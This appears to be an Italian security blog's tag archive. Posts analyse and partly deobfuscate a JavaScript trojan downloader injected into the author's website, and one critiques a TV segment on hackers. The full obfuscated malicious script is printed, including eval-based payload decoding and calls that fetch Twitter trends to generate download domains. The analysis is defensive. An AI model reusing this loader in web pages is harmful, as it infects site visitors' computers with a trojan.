Archivi tag: trojan

Deoffuscamento del codice relativo al worm JS/trojandownloader.twetti.nac – Parte 2

Ecco la terza ed ultima parte dell’analisi relativa al codice JS malevolo iniettato sulla index di un sito che gestisco. Basandomi sulle osservazioni fatte in questo post, la prima cosa che mi è saltata in mente è stata quella di decodificare le variabili in percent encoding, tecnica utilizzata solitamente per le URL.

In particolare, le variabili che ho decodificato sono le seguenti:

var ca="%66un%63tio%6e %64cs%28ds%2ces%29%7bd%73%3dunes%63ape%"

che decodificata diventa:

var ca="function dcs(ds,es){ds=unescape%"

var cd="%74%3dst+%53%74rin%67.fr%6fmC%68a%72C%6fd%65(%28tmp%2e";

che decodificata diventa:

t=st+String.fromCharCode((tmp.

var st="%73%74%3d%22$a%3ds%74;%64c%73(%64%61%2bd%62+%64c%2bd%64%2b%64e%2c1%30%29%3b%64w%28%73t%29%3bs%74%3d$%61%3b%22;";

che decodificata diventa:

st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";

var cz="%66u%6e%63t%69on %63z(c%7a)%7bre%74urn%20c%61+c%62+cc%2b%63d+c%65+c%7a%3b%7d%3b";

che decodificata diventa:

cz(cz){return ca+cb+cc+cd+ce+cz;};

var op="%24a%3d%22d%77(dc%73(c%75,14%29);%22;";

che decodificata diventa:

$a="dw(dcs(cu,14));";

var ce="cha%72Co%64eAt%280)%5e%28%270x0%30%27+%65s)%29);}%7d";

che decodificata diventa:

charCodeAt(0)^('0x00'+es)));}}

var cb="28ds%29;s%74%3dtmp%3d%27%27;for(i%3d0;i%3cd%73%2el%65n";

che decodificata diventa:

28st=tmp='';for(i=0;i<ds.len";

var dz="%66%75nct%69o%6e dw%28%74)%7bca%3d%27%2564o%63%2575me%256e%74.%2577r%2569%74e(%252%32%27%3b%63%65%3d%27%2522%2529%27;cb%3d%27%253cs%2563ri%25%370%257%34 l%25%361%256%65%67ua%2567%2565%253%64%255c%2522%6a%2561%76as%2563r%69%25%370%2574%255%63%2522%253e%27;cc%3d%27%253c%255c%252fs%63rip%74%25%33e%27;wind%6fw[%22%65%22+%22%22+ %22v%22+%22al%22](une%73%63a%70%65(t%29)};";

che decodificata diventa:

dw(t){ca='%64oc%75me%6et.%77r%69te(%22';ce='%22%29';cb='%3cs%63ri%70%74 l%61%6egua%67%65%3d%5c%22j%61vas%63ri%70%74%5c%22%3e';cc='%3c%5c%2fscrip%3e';window["e"+""+ "v"+"al"](unescape(t))};

Consideriamo ora la variabile cz:

cz(cz){return ca+cb+cc+cd+ce+cz;};

la quale diventa:

function cz(cz){

return "function dcs(ds,es) {

ds=unescape(ds);

st=tmp='';

for(i=0;i<ds.l%65ngth;i++) {

tmp=ds.slice(i,i+1);st=st+String.fromCharCode((tmp.charCodeAt(0)^('0x00'+es)));

}

}"+cz;

};

E’ facile notare come la tecnica utilizzata per offuscare il codice sia sempre la stessa, ovvero l’uso di una logica di programmazione piuttosto contorta e l’abuso del percent encoding.

A questo punto, cercando un po’ in rete ho visto che fondamentalmente si tratta di una variante del codice malevolo JS/Trojan-Downloader.JS.Twettir.a, il quale, appena la pagina infetta viene visualizzata, contatta il server search.twitter.com richiedendo la lista dei trending topic della settimana. Questa lista, in aggiunta alla data corrente, viene utilizzata per generare dei nomi di dominio pseudocasuali (già registrati dall’autore del malware e calcolati dallo stesso mediante la medesima tecnica), i quali verranno contattati in automatico per avviare il dowload del trojan direttamente sul PC dell’utente.

Inutile dire che tale codice è stato iniettato sfruttando una vulnerabilità dei server di Aruba. Spero che adesso siano stati finalmente patchati.

Il post termina qui, a presto.

Servizio de “Le Iene” sugli hacker: alcune riflessioni

Tempo fa, durante uno dei rari momenti di relax davanti alla TV, mi sono imbattuto in un servizio de “Le Iene” in cui veniva intervistato un presunto hacker. Se non sapete di cosa sto parlando, date un’occhiata qui:

http://www.video.mediaset.it/video/iene/puntata/162355/toffa-il-pericolo-hacker.html

Ora, fondamentalmente le cose che vengono dette all’inizio sembrano piuttosto sensate e corrette. Mi riferisco alla definizione di hacker come qualcuno di estremamente curioso e capace, spinto solo ed esclusivamente dalla voglia di conoscere i sistemi in modo approfondito e dalla volontà di esplorare ambienti che dovrebbero restare ad eccesso limitato. Ciò implica anche il non voler danneggiare il sistema bucato, limitandosi ad osservarlo nella sua complessità senza intaccarne minimamente la struttura. Questa è la caratteristica peculiare degli hacker, per la precisione degli ethical hacker, tipologia che rientra pienamente nella schiera dei white hat.

Poi però il presunto hacker ammette di aver sviluppato un trojan per analizzare un pc bucato in precedenza… ed in questa pratica c’è ben poco di “etico”. Altra affermazione che non mi convince: secondo lui, i virus vengono creati per lo più da ragazzini, spinti semplicemente da finalità ludiche. Sbagliato: ormai sviluppare trojan, virus, worm e malicious software in genere è diventato quasi un business, sia per le società di sicurezza che per coloro i quali vogliono sottrarre dati sensibili agli utenti (la Russian Business Network vi dice qualcosa?), come numeri di carte di credito, password, documenti altamente confidenziali, ecc.

Dopodichè, l’intervistato afferma che sarebbe buona norma criptare i file salvati sull’HD: correttissimo, anzi a tal proposito vi consiglio di utilizzare il software gratuito e multipiattaforma TrueCrypt.

La cosa che mi lascia maggiormente perplesso, però, è la dimostrazione pratica di un “hacking”. Viene infatti mostrato quanto il PC di un normalissimo utente possa risultare vulnerabile ad eventuali attacchi esterni. Ma andiamo con ordine.

Per prima cosa viene inviata alla vittima un’email provvista di allegato. Tale allegato sembrerebbe una normalissima immagine. In realtà, mediante un software sviluppato ad hoc (total binder) all’interno del file immagine è stato incapsulato un eseguibile. Una volta che il malcapitato di turno apre l’allegato, l’eseguibile (un comunissimo trojan horse) si installa in una cartella di sistema e, mediante lo scheduler di Windows, verrà avviato automaticamente al boot del sistema operativo. Fin qui sembrerebbe tutto semplice e quasi banale, ma affinchè un trucchetto del genere riesca devono verificarsi tutta una serie di situazioni concomitanti del tipo:

1) l’utente è così tanto naive da non sapere che gli allegati delle email provenienti da indirizzi sconosciuti non devono mai essere aperti;

2) il PC della vittima è sprovvisto di un antivirus, che gli segnalerebbe il file malevolo ancor prima di aprire l’allegato (chiamasi scansione della mail);

3) il PC della vittima è collegato ad Internet mediante un semplice modem e non attraverso un router. Basterebbe infatti un semplice NAT per fare in modo che il trojan, seppur installato, non riesca a comunicare con la rete pubblica e quindi con l’attaccate.

4) sul pc della vittima non è attivo alcun firewall, nemmeno quello integrato ai sistemi operativi di casa Microsoft.

Morale della favola: tale dimostrazione è solo una spettacolarizzazione di tecniche di cracking banalissime, usate per lo più dagli script kiddie di turno. Nel complesso, non dico che tale servizio sia un tipico esempio di disinformazione, ma poco ci manca.

A presto.

Deoffuscamento del codice relativo al worm JS/trojandownloader.twetti.nac – Parte 1

In questo post ho riportato il codice Javascrip malevolo iniettato sul server di Aruba che ospita uno dei siti che gestisco. Da un’analisi di tale codice sono riuscito a deoffuscarne alcune parti, semplificando notevolmente la compresione dello stesso. In particolare, la mia attenzione si è concentrata sulla variabile BKbk34b32, poichè su di essa vengono eseguite diverse operazioni. Infatti, come si evince dall’associazione:

var $a = BKbk34b32.replace(/98/g, "Z");

ogni pattern 98 presente all’interno della variabile precedentemente specificata, viene sostituito con una Z (ciò avviene per tutta la stringa BKbk34b32, grazie a /g, dove g sta per global).

Analizziamo adesso il seguente ciclo for:

for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ )

che equivale a:

for(__fh=0; __fh < s.length; __fh++ )

proprio perchè la variabile adlan3r$oubw non è altro che una stringa costituita da un singolo carattere, ovvero e :

var adlan3r$oubw = "e";

mentre il carattere + viene utilizzato per concatenare tra loro caratteri e stringhe.

All’interno del ciclo for è possibile notare le seguenti istruzioni:

i = __fh;

if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z') {

this[neAR_DEF_FGEvftDSyTtnSoh_1]='%' }

else {

this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])

}

che equivale a:

if(s.charAt(i) == 'Z') {

s(i) = '%'; }

else {

s(i) = s(i);

}

che in soldoni vuol dire: scansiona la stringa, se incontri una Z sostituiscila con un %, altrimenti lascia il carattere cosi com’è.

Infine, è interessante dare un’occhiata alla seguente istruzione:

return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)

che equivale a:

this.unescape(r)

Quindi, ricapitolando possiamo deoffuscare il contenuto della variabile BKbk34b32 seguendo i seguenti step:

var a = BKbk34b32.replace(/98/g, "Z");

var b = a.replace(/Z/g, "%");

var c = unescape(b);

E infine stampiamo la variabile deoffuscata mediante il codice:

document.write(c);

La variabile BKbk34b32 deoffuscata è la seguente:

ca="%66un%63tio%6e %64cs%28ds%2ces%29%7bd%73%3dunes%63ape%";

dd="08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050";

cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;s{xpyz;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";

cd="%74%3dst+%53%74rin%67.fr%6fmC%68a%72C%6fd%65(%28tmp%2e";

de="!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8ts%7F}79+m";

dc="rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;";

st="%73%74%3d%22$a%3ds%74;%64c%73(%64%61%2bd%62+%64c%2bd%64%2b%64e%2c1%30%29%3b%64w%28%73t%29%3bs%74%3d$%61%3b%22;";

cz="%66u%6e%63t%69on %63z(c%7a)%7bre%74urn%20c%61+c%62+cc%2b%63d+c%65+c%7a%3b%7d%3b";

op="%24a%3d%22d%77(dc%73(c%75,14%29);%22;";ce="cha%72Co%64eAt%280)%5e%28%270x0%30%27+%65s)%29);}%7d";

da="fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%";

cb="28ds%29;s%74%3dtmp%3d%27%27;for(i%3d0;i%3cd%73%2el%65n";

db="7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v";

dz="%66%75nct%69o%6e dw%28%74)%7bca%3d%27%2564o%63%2575me%256e%74.%2577r%2569%74e(%252%32%27%3b%63%65%3d%27%2522%2529%27;cb%3d%27%253cs%2563ri%25%370%257%34 l%25%361%256%65%67ua%2567%2565%253%64%255c%2522%6a%2561%76as%2563r%69%25%370%2574%255%63%2522%253e%27;cc%3d%27%253c%255c%252fs%63rip%74%25%33e%27;wind%6fw[%22%65%22+%22%22+ %22v%22+%22al%22](une%73%63a%70%65(t%29)};";

cc="%67%74h;%69++%29%7bt%6dp%3dds.s%6cic%65(i%2ci+1%29;%73";

if (document.cookie.indexOf('rf5f6ds')==-1) {

function callback(x){

tw = x;

var d = new Date();

d.setTime(x["as_of"]*1000);

var h = d.getUTCHours();

h = h;

if (h > 8) {

d.setUTCDate(d.getUTCDate() - 2);

}

else {

d.setUTCDate(d.getUTCDate() - 3);

}

gd = d;

var time = new Array();

var shiftIndex = "";

time["year"] = d.getUTCFullYear();

time["month"] = d.getUTCMonth()+1;

time["day"] = d.getUTCDate();

if (d.getUTCMonth()+1 < 10) {

shiftIndex = time["year"] + "-0" + (d.getUTCMonth()+1);

}

else {

shiftIndex = time["year"] + "-" + (d.getUTCMonth()+1);

}

if (d.getUTCDate() < 10) {

shiftIndex =shiftIndex + "-0" + d.getUTCDate();}else{shiftIndex = shiftIndex + "-" + d.getUTCDate();}document.write("" + "");

}

function callback2(x) {

tw =x;

sc('rf5f6ds',2,7);

eval(unescape(dz+cz+op+st)+'dw(dz+cz($a+st));');

document.write($a);

}

document.write(" " + "");

}

else {

$a=''

};

function sc(cnm,v,ed) {

var exd=new Date();exd.setDate(exd.getDate()+ed);document.cookie=cnm+ '=' +escape(v)+';expires='+exd.toGMTString();

};

Nei prossimi giorni proseguirò con un’ulteriore analisi e deoffuscamento del codice. A presto.

Codice malevolo su un sito Web: hosting di Aruba crackato?

Recentemente, su uno dei siti che ho realizzato e che gestisco ho trovato il seguente codice javascrip presente all’interno della home page (ho provato a sistemarlo in modo da renderlo più leggibile):

<scrip language="javascrip">

var kasbd3412 = "";

$$ = function () {

try {

kasbd3412= $$dfsd(gnflseejrr());

kasbd3412.do();

}

catch(e) {

var bn = "";

return kasbd3412;

}

};

var adlan3r$oubw = "e";

$$dfsd =  this['a'+'s'+'d'];

var adlan3r$ouaw = "a";

function asd(df_){

this['r']="";

var s = df_;

for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ ) {

i=__fh;

if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z') {

this[neAR_DEF_FGEvftDSyTtnSoh_1]='%'}

else {

this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])

}

this['r']=r+VAR_EZJrWcTGuhPYZJj(this,neAR_DEF_FGEvftDSyTtnSoh_1)

}

return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)

}

var ez=window
VAR_AiCzwbiiMdphDXs=(function(VAR_JMFILTCeLQNWkAf,VAR_gqWQtFFAsjjtVqK){return VAR_JMFILTCeLQNWkAf[VAR_gqWQtFFAsjjtVqK];});


VAR_EZJrWcTGuhPYZJj=(function(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF){return VAR_AiCzwbiiMdphDXs(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF);});

function gnflseejrr() {

return $a

}

var neAR_DEF_FGEvftDSyTtnSoh_1='s'+'1';

BKbk34b32='Z63aZ3dZ22Z2566unZ2563tioZ256e Z2564csZ2528dsZ252cesZ2529Z257bdZ2573Z253dunesZ2563apeZ25Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sZ7bxpyz;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;cdZ3dZ22Z2574Z253dst+Z2553Z2574rinZ2567.frZ256fmCZ2568aZ2572CZ256fdZ2565(Z2528tmpZ252eZ22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;stZ3dZ22Z2573Z2574Z253dZ2522$aZ253dsZ2574;Z2564cZ2573(Z2564Z2561Z252bdZ2562+Z2564cZ252bdZ2564Z252bZ2564eZ252c1Z2530Z2529Z253bZ2564wZ2528Z2573tZ2529Z253bsZ2574Z253d$Z2561Z253bZ2522;Z22;czZ3dZ22Z2566uZ256eZ2563tZ2569on Z2563z(cZ257a)Z257breZ2574urnZ2520cZ2561+cZ2562+ccZ252bZ2563d+cZ2565+cZ257aZ253bZ257dZ253bZ22;opZ3dZ22Z2524aZ253dZ2522dZ2577(dcZ2573(cZ2575,14Z2529);Z2522;Z22;ceZ3dZ22chaZ2572CoZ2564eAtZ25280)Z255eZ2528Z25270x0Z2530Z2527+Z2565s)Z2529);}Z257dZ22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cbZ3dZ2228dsZ2529;sZ2574Z253dtmpZ253dZ2527Z2527;for(iZ253d0;iZ253cdZ2573Z252elZ2565nZ22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;dzZ3dZ22Z2566Z2575nctZ2569oZ256e dwZ2528Z2574)Z257bcaZ253dZ2527Z252564oZ2563Z252575meZ25256eZ2574.Z252577rZ252569Z2574e(Z25252Z2532Z2527Z253bZ2563Z2565Z253dZ2527Z252522Z252529Z2527;cbZ253dZ2527Z25253csZ252563riZ2525Z25370Z25257Z2534 lZ2525Z25361Z25256Z2565Z2567uaZ252567Z252565Z25253Z2564Z25255cZ252522Z256aZ252561Z2576asZ252563rZ2569Z2525Z25370Z252574Z25255Z2563Z252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fsZ2563ripZ2574Z2525Z2533eZ2527;windZ256fw[Z2522Z2565Z2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522](uneZ2573Z2563aZ2570Z2565(tZ2529)};Z22;ccZ3dZ22Z2567Z2574h;Z2569++Z2529Z257btZ256dpZ253dds.sZ256cicZ2565(iZ252ci+1Z2529;Z2573Z22;Z69f (Z64Z6fcuZ6denZ74.Z63Z6foZ6bieZ2eindZ65xOfZ28Z27rZ66Z35f6Z64Z73Z27)Z3dZ3d-1Z29Z7bfZ75ncZ74ionZ20cZ61lZ6cZ62aZ63kZ28Z78)Z7bwinZ64Z6fw.tZ77Z20Z3d Z78;Z76Z61r dZ20Z3d new DZ61tZ65()Z3bdZ2esetZ54imeZ28Z78[Z22aZ73Z5foZ66Z22]*1Z3000Z29;vaZ72 hZ20Z3d d.Z67Z65tUZ54CHZ6fursZ28)Z3bwiZ6eZ64ow.Z68 Z3d hZ3bZ69Z66 Z28h Z3e Z38)Z7bd.Z73Z65tUTZ43DZ61tZ65Z28Z64.geZ74UTZ43Z44atZ65Z28) Z2dZ202Z29Z3b}elZ73Z65Z7bd.sZ65tUTZ43DaZ74eZ28Z64.Z67etUZ54CDZ61te(Z29 -Z203Z29Z3b}wZ69nZ64owZ2egdZ20Z3dZ20d;vZ61Z72 Z74iZ6de Z3d neZ77 ArZ72Z61y(Z29Z3bZ76Z61r Z73hZ69ftIZ6edZ65x Z3d Z22Z22;timeZ5bZ22yearZ22] Z3d d.gZ65tUZ54CFuZ6clZ59eZ61r()Z3btiZ6deZ5bZ22moZ6etZ68Z22] Z3d d.Z67Z65tZ55TZ43Z4donZ74Z68Z28Z29+Z31Z3btiZ6deZ5bZ22dayZ22] Z3d Z64.Z67etZ55TCZ44ateZ28);Z69f Z28d.gZ65Z74Z55TZ43MonZ74hZ28)+Z31 Z3c 1Z30Z29Z7bshiZ66tInZ64Z65Z78 Z3d tiZ6de[Z22Z79earZ22] +Z20Z22-0Z22 + (Z64.geZ74UZ54CMZ6fnthZ28Z29+Z31);}Z65Z6cseZ7bshZ69Z66tInZ64ex Z3d tZ69mZ65Z5bZ22Z79earZ22Z5d Z2bZ20Z22-Z22 + (dZ2eZ67etZ55TCZ4donZ74h()Z2b1);Z7difZ20Z28d.Z67etUZ54CDaZ74e()Z20Z3cZ20Z310)Z7bsZ68ifZ74InZ64ex Z3dshiZ66tZ49nZ64Z65Z78Z20+Z20Z22-Z30Z22 +Z20dZ2egeZ74UZ54Z43DatZ65();Z7deZ6cseZ7bshiZ66Z74InZ64ex Z3d sZ68ifZ74IZ6eZ64exZ20+Z20Z22-Z22 + dZ2egetZ55TCZ44ateZ28)Z3b}Z64Z6fcumZ65nt.Z77Z72iZ74e(Z22Z3csZ63rZ22+Z22ipt Z6cZ61Z6eZ67Z75Z61Z67eZ3djavaZ73crZ69ptZ22+Z22 sZ72cZ3dZ27htZ74pZ3aZ2fZ2fsearch.tZ77ittZ65rZ2ecomZ2fZ74reZ6edZ73Z2fdailZ79.jsZ6fZ6eZ3fdaZ74Z65Z3dZ22+ Z73Z68Z69fZ74InZ64ex+Z22Z26cZ61llZ62aZ63Z6bZ3dcalZ6cbacZ6b2Z27Z3eZ22 +Z20Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);Z7d Z66Z75Z6ectiZ6fn cZ61Z6clbaZ63Z6b2Z28x)Z7bZ77inZ64oZ77.tZ77 Z3dZ20x;Z73c(Z27Z72f5fZ36dsZ27,2,7Z29Z3beZ76aZ6c(unZ65sZ63aZ70e(dZ7aZ2bczZ2bZ6fp+Z73t)Z2bZ27dw(Z64zZ2bcZ7a($Z61Z2bZ73t))Z3bZ27);docZ75menZ74.Z77rZ69te(Z24Z61);}Z64ocuZ6denZ74.wZ72itZ65(Z22Z3cimg srZ63Z3dZ27httZ70:Z2fZ2fsearZ63hZ2etwiZ74Z74Z65r.cZ6fmZ2fimaZ67esZ2fseaZ72chZ2frsZ73.pZ6egZ27 wZ69dtZ68Z3d1 heZ69gZ68tZ3d1 Z73tyZ6ceZ3dZ27visiZ62Z69liZ74y:Z68iddZ65nZ27 Z2fZ3e Z3cscrZ22+Z22ipt Z6caZ6eguZ61geZ3djavaZ73crZ69ptZ22+Z22 sZ72cZ3dZ27httZ70:Z2fZ2fsearZ63Z68.Z74wiZ74Z74erZ2ecZ6fmZ2ftrZ65nZ64Z73Z2fdailZ79Z2ejZ73on?Z63aZ6clbZ61cZ6bZ3dcalZ6cbZ61cZ6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elseZ7b$Z61Z3dZ27Z27};function Z73c(cZ6em,vZ2cedZ29Z7bvarZ20eZ78dZ3dnewZ20DZ61Z74eZ28);eZ78Z64.seZ74DatZ65(Z65xdZ2egetZ44atZ65()+Z65dZ29Z3bdoZ63umZ65nZ74Z2ecZ6fokZ69Z65Z3dZ63nZ6d+ Z27Z3dZ27 +escapZ65(vZ29+Z27;exZ70iZ72esZ3dZ27+exd.toZ47MZ54StZ72iZ6eg()Z3b};';

var $a = BKbk34b32.replace(/98/g, "Z");

ez[String.fromCharCode(101,118,97)+'l']($$())

</scrip>

Trattasi sicuramente di un trojan che mediante del codice lato client prova ad infettare il PC dell’ignaro visitatore. In particolare, l’antivirus segnala il seguente codice malicious: JS/trojandownloader.twetti.nac

Nei prossimi giorni procederò con l’analisi e la deoffuscamento del codice, stay tuned.